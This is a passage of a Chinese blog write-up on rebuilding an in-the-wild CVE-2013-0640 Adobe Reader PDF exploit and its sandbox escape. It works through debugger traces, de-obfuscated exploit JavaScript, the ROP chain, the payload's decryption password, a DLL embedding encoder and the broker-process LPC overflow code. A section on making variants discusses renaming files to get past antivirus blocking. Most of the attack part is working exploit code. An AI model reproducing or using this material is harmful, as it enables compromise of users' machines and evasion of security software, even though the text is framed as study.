OpenComponentLibraryOnMemEx调用完毕之后,ESP返回地址被改变,接下来调用ROP_shellcode数据地址CLBCatQ+0x14eb的时候,ESP指针寄存器指向的堆栈地址已经被改变,其汇编代码(如下).
0:002> bp CLBCatQ+0x14eb eax=75851566 ebx=0389fba8 ecx=110201e8 【edx=08080020】 esi=01f94210 edi=110201e8 eip=758214eb 【esp=08080030】 ebp=758214eb iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206 758214eb c3 ret
当中间进程CLBCatQ+0x14eb连续调用3次之后,返回地址调用到LoadLibraryW,并加载保存的L2P.T路径,完成后返回到Sleep进行延时3600000毫秒,最后攻击完成,其汇编代码(如下).
0:002> bp LoadLibraryW eax=75eb1566 ebx=03d4f518 ecx=10d8dd30 edx=08080020 esi=002462e0 edi=10d8dd30 eip=76511e12 esp=08080040 ebp=75e814eb iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206 kernel32!LoadLibraryW: 76511e12 8bff mov edi,edi 0:002> dd esp 08080040 75e814eb 【08080054】 765110ef 75e814eb eax=02700000 ebx=0389fba8 ecx=75811810 edx=00000000 esi=01f94210 edi=110201e8 eip=75ae10ef esp=0808004c ebp=758214eb iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 kernel32!Sleep: 75ae10ef 8bff mov edi,edi 0:002> dd esp 0808004c 758214eb 【0036ee80】 003a0043 0055005c
五、样本还原
在程序界有句致礼名言:“不要重复发明轮子”;这句话说的很对,这里把这句话改写一下:“要站在巨人的肩膀上改造轮子,发明出更精良的轮子”.为什么?如果我们从现在开始重写样本,一、重写时间不够。二、样本不稳定.原样本是攻击者精心策划的,很多机器测试过的,做得肯定比我们好.第一步要做的是:找到网络上该漏洞的所有资料,全部浏览一遍,然后再用哪看哪.现在来还原攻击样本被攻击者混淆过的js代码,写个小工具来还原被混淆过的js代码.原来的js代码(如下).
/JS (\n0 >> 0 >> 0 >> 0 >> 0 >> 0;\nfunction sHOGG\(c,d,e\){\n var idx = d % c.length;\n var s = "";\n while \(s.length < c.length\){\n s += c[idx];\n idx = \(idx + e\) % c.length;\n }\n return s;\n}\n0 >> 0 >> 0 >> 0 >> 0 >> 0;\nfunction oTHERWISE\(pRENDENDO,t\){\n if\(pRENDENDO == sHOGG
看下混淆还原后的代码;请注意,第一个函数为解密字符串的函数,把它写入到还原脚本里面还原被加密的字符串,省得占篇幅,缩进一下代码(如下).
(0 >> 0 >> 0 >> 0 >> 0 >> 0; function sHOGG(c,d,e){//解密字符串的函数,把这个函数改写为你的脚本函数,然后依次判断加密字符串并还原. var idx = d % c.length; var s = ""; while (s.length < c.length){ s += c[idx]; idx = (idx + e) % c.length; } return s;}
//该函数调用:if(pRENDENDO == sHOGG('014.031.4.',3571,9173)) //混淆还原后为if(pRENDENDO == "10.0.1.434")
混淆还原之后,拷贝js代码到桌面上,运行一下,看下有没有什么地方漏过了;经过修正错漏的脚本之后,运行提示6535行错误(如下).
mONDIZIA = true ? app:app;这是微软JS脚本解释器没有的东西,当然,这句代码也是多此一举.
混淆还原没什么问题了,现在构建一个最基本的PDF文件;根据CVE-2013-0640漏洞利用所需的关键对象给拷贝进去(用Notepad++编辑脚本),PDF文件结构可以使用Notepad++和PdfStream查看;这里把漏洞所需的XFA表单和js代码拷贝进我们构建的PDF文件,修正一下对象长度(如下).
6 0 obj << /Length 3475 >>stream // 这里的长度需要修正为对象数据真实的长度.
现在接着用Notepad++查看PDF中的js代码,把一些无用的js代码给精简改写一下,把一些没有使用的函数和变量给去掉(如下).
function bRIGATA(pERDERE) {//未使用的函数 console.println(pERDERE.toString()); } // var aSTERISK = false;//未使用的全局变量 // function cINQUANTA() { if (aSTERISK == true) {//无效的变量判断 console.hide(); console.clear(); console.show(); }
现在有了一份经过精简后的PDF,JS脚本里面存在了很多算术表达式,使用PdfStream工具把脚本的算术表达式还原一下,用PdfStream装载目标Pdf文件,切换到脚本对象编辑框,点击JaveScript_UI菜单,然后点击JaveScript_UI对话框最右边的菜单选项的第二项菜单,进行还原(如下).
sIIESTRI[ "11.001"][ "sCHIUMA"] = (2*61);//算术表达式 sIIESTRI[ "11.001"][ "sCHIUMA"] = (0x7A);//十六进制
现在应该还不能触发漏洞,接下来要做的就是最辛苦的工作了,代码重构.样本中的js代码的函数名称和变量名称经过严重的名称混淆,需要根据找到的所有资料和前面得出的分析基础,进行重构js代码,一步一步理解并还原这些函数和变量名称.被混淆过的js代码的一些范例(如下).
function pERMANENDO(s) {//功能是删除下划线,并前移字符串.命名为function ReplaceNextHorizontalLine(s) var ret = s.replace(/_/g, ''); return ret; } pRESSURA = eval(pERMANENDO("un__es_ca______pe"));功能同等于unescape函数,换pRESSURA为unescape,并删掉这行 dISCESA = pERMANENDO("%___u");//功能同等于"%_u",替换dISCESA为"%_u"
接着找到之前拥有的资料,对比函数、变量并替换掉现成的名称;如果没有资料的,可以写一段功能同等的代码进行测试功能,然后再修正其为正确的名称;这是第一次修正,第二次在调试样本不触发的原因的时候修正(如下).
var objNumber = 0; function cHIAMERANNO(cARDINI) { eQUIVALENT(cARDINI); var eNGLISH = xfa.resolveNode("xfa[0].form[0].form1[0].#pageSet[0].page1[0].#subform[0].field" + objNumber + "[0].#ui");
根据资料,可以修正其为:
function Trigger( fakePointor ) { AllocateDefectiveNodes( fakePointor ); var node = xfa.resolveNode("xfa[0].form[0].form1[0].#pageSet[0].page1[0].#subform[0].field0[0].#ui");
当大部分函数、变量名称被修正完毕之后,再在一些功能重要的函数里面加上try……catch语句来方便后面的功能调试,这里的目的是重构一份清晰可观的攻击样本来方便学习(如下).
try{ //异常保护功能块 } catch (e){ assert(false,'ClearCache function except!');//异常提示 return false; }
接下来就要考验程序员的调试功底了,慢慢调试为什么漏洞不触发吧;调试没有什么经验和技巧可讲,我用的最笨的办法:调试+对比;调试一下自己编写的样本,弹个提示框什么的消息,如果功能不对,对比一下混淆还原后的js代码,看看是不是什么地方更改错了,之后继续调试;实在找不到错误原因的就用WinDBG调试原样本吧.有时候可能调试几天都没有结果,比如下面这段代码(计算AcroForm.API的基址需要用到),调试了几天才得到正确结果;请通过对比找到这句代码(如下).
thunk = GetUnescapeString("%__u0ff0%__u7ffe%__u0ff0%__u7ffe%__u0ff0%__u7ffe%__u0ff0%__u7ffe"); while (thunk.length < 0x10000){ thunk += thunk; }//该段代码是样本利用成功的第一步,请根据资料、调试器、样本慢慢调试吧.
到这一步基本上就能成功利用了;这里有点小问题,为什么装载D.T后不触发沙盒逃离漏洞?找下资料、分析一下,看下是什么原因导致这一步失败的.网络资料CVE-2013-0640-Further Investigation into an Adobe PDF 0day Malware Attack中提到L2P.T是经过加密储存的,解密需要密码(!H2bYm.Sw@),现在回过头来看下PDF样本中是不是还缺少点什么数据,用PdfStream打开工具攻击样本,发现其中一个对象正是这个密码,而装载D.T后CPU使用率高达%50,是不是在进行死循环搜索这段密码?用IDA打开D.T文件可以发现如下这段搜索密码的汇编代码,对象的这段数据(如下).
偏移 对象二进制数据字符串
00000000 21 48 32 62 59 6D 2E 53 77 40................. !H2bYm.Sw@............... //汇编代码 .text:100020BF call GetFileSize ................................................................................ .text:100020FF call ReadFile ; 读取文件到内存缓冲区 .text:10002105 push 0Ah ; str_size .text:10002107 push offset string ; "!H2bYm.Sw@" 密码字符串 .text:1000210C push edi ; file_size .text:1000210D push [ebp+file_data] ; file_data .text:10002110 call search ; 搜索密码 .text:10002115 mov edi, eax .text:10002117 test edi, edi .text:10002119 jnz short search_pass_ok ;是否成功搜索到密码? .text:1000211B push [ebp+file_data] .text:1000211E call sub_10002FA0 .text:10002123 pop ecx .text:10002124 .text:10002124 loc_10002124: ; CODE XREF: sub_100020AF+1Bj 好像这段代码存在漏洞,当搜索不到的时候要根据文件句柄一直要搜索N次? .text:10002124 add ebx, 4 ; .text:10002127 cmp ebx, offset __ImageBase ; 判断是否搜索结束,以模块加载基址为结束条件 .text:1000212D jb short loop_search_password ; 循环搜索密码 .text:1000212F jmp loc_100021CE //搜索成功以后,异或解密对象数据,对象数据里面存放了解密KEY和要解密的数据. .text:10002160 call FakeRtlDecompressBuffer ; 解密文件数据 .............................................................................................. .text:10002170 push offset Buffer ; lpBuffer .text:10002175 push 104h ; nBufferLength .text:1000217A call GetTempPathW ; 获取临时文件夹路径 .text:10002180 push offset aL2p_t ; "L2P.T" .text:10002185 push offset Buffer .text:1000218A call sub_10003910 ;链接字符串 .............................................................................................. .text:100021A0 push offset Buffer ; lpFileName .text:100021A5 call CreateFileW ; 创建L2P.T
经过分析验证和后面的拷贝尝试,发现创建L2P.T动态库失败的原因就是没有上面的对象数据,上面的对象数据是被加密的L2P.T数据,由D.T搜索、解密并且创建;现在把上面的对象数据拷贝到PDF文件里面去,我写了一段代码拷贝,拷贝之运行PDF成功攻击系统,构造的样本行为和原样本一模一样(构造好的攻击样本为附件中的exploit_my_org.pdf,如下).
#include <iostream> #include <fstream> using namespace std; int main(int argc, char* argv[]){ char* buffer = nullptr; ifstream infile ("src.pdf",ifstream::binary); infile.seekg (0, ios::end); int length = infile.tellg(); infile.seekg (0, ios::beg); buffer = new char [length+sizeof(char)]; infile.read (buffer,length); infile.close(); ofstream outfile ("dst.pdf",ofstream::app|ofstream::binary); outfile.seekp(0,ofstream::end); outfile.write (buffer,length); outfile.close(); delete[] buffer; return 0; }
六、样本变种
接着上面还原的攻击样本接下来开始构建样本的变种;关于变种的定义:改变程序行为的某些特征来躲避杀毒软件或者增加一些新的功能.首先要做的就是替换掉D.T动态库,这个应该是以数据形式存放在pdf文档中的;需要在pdf文档中找到这段数据,根据上面不断的调试分析以及拥有的资料,函数CryptStringToBinaryA和RtlDecompressBuffer上下断点,即可找到这段数据并替换,首先调用了CryptStringToBinaryA函数解用base64编码过的数据,然后再解压缩数据为可执行(如下).
Call CryptStringToBinaryA(调用堆栈): 1184D4E86C8E1049 AcroForm.6C8E1049 1184D4EC1184D7F8 ASCII "DbkATVqQAAMAAACCBAAw//"... 1184D4F000000000 1184D4F400000001 【1184D7F8】 44 62 6B 41 54 56 71 51 41 41 4D 41 41 41 43 43 DbkATVqQAAMAAACC 【1184D808】 42 41 41 77 2F 2F BAAw// Call RtlDecompressBuffer(之后): 1184D7F8 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 MZ?........为PE标志头. Js中被加密过的数据. function GetDLLByteData(){ var sCRIVON = ''; sCRIVON=sCRIVON+ue(0x416B6244)+ue(0x51715654)+ue(0x414D4141)+ue(0x43434141)+ue(0x77414142)....
这段数据是以大端方式储存的,在js程序中是以4字节为一个单位,js中最末尾字节在内存中为第一字节;例如44 62 6B 41应该为0x416B6244.接下来分析清楚了数据存放格式之后写段代码或者脚本,生成一个编码压缩过的DLL(如下).
…………………………………………………………………………………….
一些文件操作和内存分配
…………………………………………………………………………………….
先压缩再编码数据
HMODULE hModule = LoadLibraryA("ntdll.dll"); ULONG final_size = base64_buf_len; *(unsigned long*)&FakeRtlCompressBuffer = (unsigned long)GetProcAddress(hModule,"RtlCompressBuffer"); FakeRtlCompressBuffer(COMPRESSION_FORMAT_LZNT1|COMPRESSION_ENGINE_STANDARD,(PUCHAR)buffer,length,(PUCHAR)compress_buf,base64_buf_len,512,&final_size,(PVOID)work_compress_buf); char* base64_buf = new char[base64_buf_len]; hModule = LoadLibraryA("Crypt32.dll"); *(unsigned long*)&FakeCryptBinaryToStringA = (unsigned long)GetProcAddress(hModule,"CryptBinaryToStringA"); FakeCryptBinaryToStringA(compress_buf,final_size,CRYPT_STRING_BASE64,base64_buf,&base64_buf_len);
…………………………………………………………………………………….
创建新js文件和函数头,此处为函数头和尾部字符串.
char* func_header = "function GetBypassDll(){\r\n\tvar result = '';\r\n"; char* func_tailer = "\treturn result;\r\n}\r\n"; ................................................................................................. For根据base64编码的长度循环生成js代码{ _snprintf(buffer,MAX_PATH,"ue(0x%02X%02X%02X%02X)",base64_buf[i+3]==0?0:base64_buf[i+3],base64_buf[i+2]==0?0:base64_buf[i+2],base64_buf[i+1]==0?0:base64_buf[i+1],base64_buf[i]==0?0:base64_buf[i]); outfile.write (buffer,strlen(buffer)); }以十六进制形式大端存放数据,以4字节为一个单位,第4字节为第1位,第3字节为第2位,以便在内存中正确显示数据. .................................................................................................
然后把生成的函数拷贝进样本文件,并且备份样本文件之后运行PDF样本文件,能够正确创建D.T文件并加载进内存.现在来改写D.T名称,因为这个名称已经被安全软件封锁了.在js代码中函数可以找到一段ROP链数据(如下).
r += ue(t + 7 * 7 * 3 * 2 * 7 * 311 + 8741 * 5 * 139); r += ue(0x542E44); r += ue(t + 3 * 103 * 3 * 2 * 881 * 3); r += ue(t + 3 * 5 * 373 * 13 * 7 * 11);
这段ROP链的汇编代码执行流程(如下):
pop ecx/Ret;//现在ESP已经指向自己,POP ECX是弹出堆栈的下一条数据到ecx寄存器,下一条数据为字符串D.T D.T//需要被改写的字符串. mov [eax], ecx/ret;//这里是构造的沙盒临时文件夹末尾. xor eax, eax/ret;//清零eax寄存器
把上面的js代码改写为下面的js代码,即可实现名称变种,这里的名称为escape.dl.
r += ue(t + 7 * 7 * 3 * 2 * 7 * 311 + 8741 * 5 * 139);//弹出字符串到ecx寄存器 r += ue(0x637365);//字符串,不要写0x0000这样的结束,以免解码PE数据的时候搜索失败,数据头是ROP链末尾的字符串. r += ue(t + 3 * 103 * 3 * 2 * 881 * 3);//放入ecx寄存器的内容到eax指向的路径内存. r += ue(t + 800011 * 7);//inc eax,eax指向下一个地址. r += ue(t + 800011 * 7);//inc eax,eax指向下一个地址. r += ue(t + 800011 * 7);//inc eax,eax指向下一个地址. r += ue(t + 7 * 7 * 3 * 2 * 7 * 311 + 8741 * 5 * 139);//弹出字符串到ecx寄存器 r += ue(0x657061); r += ue(t + 3 * 103 * 3 * 2 * 881 * 3);//放入ecx寄存器的内容到eax指向的路径内存. r += ue(t + 800011 * 7);//inc eax,eax指向下一个地址. r += ue(t + 800011 * 7);//inc eax,eax指向下一个地址. r += ue(t + 800011 * 7);//inc eax,eax指向下一个地址. r += ue(t + 7 * 7 * 3 * 2 * 7 * 311 + 8741 * 5 * 139);//弹出字符串到ecx寄存器 r += ue(0x6C642E); r += ue(t + 3 * 103 * 3 * 2 * 881 * 3);//放入ecx寄存器的内容到eax指向的路径内存. r += ue(t + 3 * 5 * 373 * 13 * 7 * 11);//清零eax寄存器
这样改写掉js中的ROP链的数据后,能够正确创建escape.dl,但是文件的大小为0字节,看下什么原因.经过分析,发现ROP链中存在一些绝对的数据存放地址偏移,也就是说ROP链中既有代码地址也有自己的堆栈,用来临时存放数据,这里在ROP链中间增加了一些数据地址,因此这个偏移地址发生变化,需要修正这个大小,上面增加的数据有0×30字节,原样本是10进制数据,这里改写为了16进制数据方便阅读.临时堆栈(如下).
r += ue(0x42424242);//5f4//对应当前ESP指针加偏移地址,此处CCCC会被清零.r += ue(0xCCCC05F4+0x30); r += ue(0x43434343);//5EC//r += ue(0xCCCC05EC+0x30); r += ue(0x44444444);//5F8//r += ue(0xCCCC05F8+0x30); r += ue(0x44444444);//5FC//r += ue(0xCCCC05FC+0x30); r += ue(0x45454545);//600//r += ue(0xCCCC0600+0x30); r += ue(0x45454545);//614//r += ue(0xCCCC0614+0x30);
在ROP链末尾有一段数据是用来标识被编码压缩的PE头,以便漏洞触发之后能够使用wcsstr函数正确搜索到数据解压缩为PE文件数据(如下).
r += ue(0x1010101); r += ue(0x6F004D);//这里就是PE数据标识开始,对应的字符串为UNICODE版本的Module函数. r += ue(0x750064); r += ue(0x65006C); ...............................................................PE数据
现在这样改写并且经过正确调试以后,运行样本PDF文件,成功加载了编写的测试动态库escape.dl.现在看下如何触发沙盒漏洞,在这里根据构造成功的沙箱逃离dll来重新讲解说明一下沙箱漏洞的触发过程.exploit开始挂起其他所有线程,并且获取adobe版本号来实现不同版本相同的操作,后构建tag id为0×18的LPCCall初始化调用,之后调用RegisterClipboardW函数注册ROP_shellcode存放的地址,然后分别构建了LPCCall tag id为0x4d、0x4b、0×59、0x5d、0×61、0x4a、0x4a的LPCCall让中间进程(broker进程)调用,大部分为网络操作,比如检查一些域名是否可访问什么的,其中tag id为0x5D的调用为在中间进程布局大小为0x0C800000大小的ROP_shellcode,并占位了中间进程的LPCBuffer.之后调用tag id为0×73的调用,中间进程调用GetClipboardFormatNameW函数读取使用RegisterClipboardW注册的数据,这里溢出了虚表指针,最后构建tag id为0xB0的调用来触发中间进程的LPCDispatcher来触发被溢出的指针;通信需要的LPC指针函数,在写完攻击流程代码之后发现代码一直不通过,原来是粗心的写错了一个地址,导致浪费了N天的时间(如下).
unsigned long (__thiscall *LPCCall::GetLpcBuffer)(void); unsigned long (__thiscall *LPCCall::WaitLpcComplete)(unsigned long,unsigned long, unsigned long); unsigned long (__thiscall *LPCCall::GetLpcCallBuffer)(unsigned long); unsigned long (__thiscall *LPCCall::LpcComplete)(unsigned long, unsigned long); unsigned long (__thiscall *LPCCall::dword_1000C020)(unsigned long, unsigned long); //base:00150000 //05C4C010 00161E10 AcroRd32.00161E10 //05C4C014 001622C0 AcroRd32.001622C0 //05C4C018 00161ED0 AcroRd32.00161ED0 //05C4C01C 001623B0 AcroRd32.001623B0 //05C4C020 00161EB0 AcroRd32.00161EB0 //call order:00161E10,00161EB0,00161ED0,001622C0,001623B0 bool LPCCall::InitLpcCallProcAddress(){ unsigned long h_module = (unsigned long)GetModuleHandleW(L"AcroRd32.exe"); (*(unsigned int*)&GetLpcBuffer = (unsigned int)(0x00161E10-0x00150000)+h_module); (*(unsigned int*)&WaitLpcComplete = (unsigned int)(0x001622C0-0x00150000)+h_module); (*(unsigned int*)&GetLpcCallBuffer = (unsigned int)(0x00161ED0-0x00150000)+h_module); (*(unsigned int*)&LpcComplete = (unsigned int)(0x001623B0-0x00150000)+h_module); (*(unsigned int*)&dword_1000C020 = (unsigned int)(0x00161EB0-0x00150000)+h_module); bool result_a = (GetLpcBuffer!=nullptr&&WaitLpcComplete!=nullptr); bool result_b = (GetLpcCallBuffer!=nullptr&&LpcComplete!=nullptr); return (result_a&&result_b&&dword_1000C020!=nullptr); }
初始化调用,注意在调用RegisterClipboardW函数的时候参数末尾的结束符\x0000(如下).
LPCCall::InitLpcCallProcAddress();//初始化LPC指针函数 void* temp_mem = Alloc(8,0x80000);//占位内存. unsigned long ipc_call_info[0x20000]={0x00000018, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000004, 0x00000058, 0x00000004, 0xFFFFFFFF, 0x0000005C, 0xFFFFFFFF, 0x1AB0FB98, 0x00000000}; for(unsigned long* p_index = &ipc_call_info[0];;p_index++){ if(*p_index==0x1AB0FB98){ *p_index = (unsigned long)(&buffer[0]);//替换掉动态地址. break; } } LPCCall::LPCSendBuffer(&ipc_call_info); result_clipboard_ = RegisterClipboard();//注意参数的结束符,不然会调用函数失败. char* p_shellcode = (char*)AllocHeapShellcode(0xC800000);//分配shellcode内存代码,这里使用了clbcatq模块中的指针进行搜索.以便构建成功触发的shellcode.
分别调用LPCCall tag id为0x4d、0x4b、0×59、0x5d、0×61、0x4a、0x4a的API,按顺序调用,节省篇幅,此处省略(如下).
.............................................................................................. LPCCall::LPCSendBuffer(&ipc_call_info_d); unsigned long ipc_call_info_e[0x20000]={0x0000005D, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000003, 0x00000004, 0x00000070, 0x00000004, 0x00000005, 0x00000074, 0x00000000, 0x00000008, 0x00000074, 0x0000000C, 0xFFFFFFFF, 0x00000080, 0xFFFFFFFF, 0x00CC000C, 0x000008F4, 0x1B2C0028, 0x0C800000}; for(unsigned long* p_index = &ipc_call_info_e[0];*p_index!=0x0C800000;p_index++){ if(*p_index==0x000008F4){ *p_index = GetCurrentProcessId();//替换掉通信进程id为当前的进程Id. continue;} if(*p_index==0x1B2C0028){ *p_index = (unsigned long)p_shellcode;//替换掉shellcode地址以便中间进程读取;后一位数据是ROP大小 break;}} LPCCall::LPCSendBuffer(&ipc_call_info_e);
最后溢出指针,并且触发漏洞(如下).
Free((unsigned int)p_shellcode); for(int index=1;index<=0x3E8;index++){ IPCCallFunc1(index); } IPCCallFunc1(0x3E9); IPCCallFunc1(0x3EA); IPCCallFunc1(0x3EB); IPCCallFunc2(); IPCCallFunc3(result_clipboard_);//参数为RegisterClipboardW返回值,以便中间进程进行监控. IPCCallFunc4();//让中间进程继续Dispatcher来触发漏洞 Free((unsigned int)temp_mem);
八、总结经验
文章结尾总结一下心得;分析、还原、构造这个样本差不多用了半个月的时间,在这期间也学到了很多东西;第一:一定要坚持下去,因为坚持就是胜利,期间很多次觉得自己搞不出来想放弃,……第二:一定要有耐心,有了足够的耐心之后才能坚持下去.第三:要学会懂得做事方法、思路以及资料的寻找,并且要能看懂一些英文文档.第四:拥有一颗非常细的心,避免在一些问题上因为粗心浪费掉时间.第五:技术功底一定要拥有,有了良好的技术功底才能正确的进行技术研究.最后,祝你好运(图片与本文无关)!
- 我的微信
- 这是我的微信扫一扫
- 我的微信公众号
- 我的微信公众号扫一扫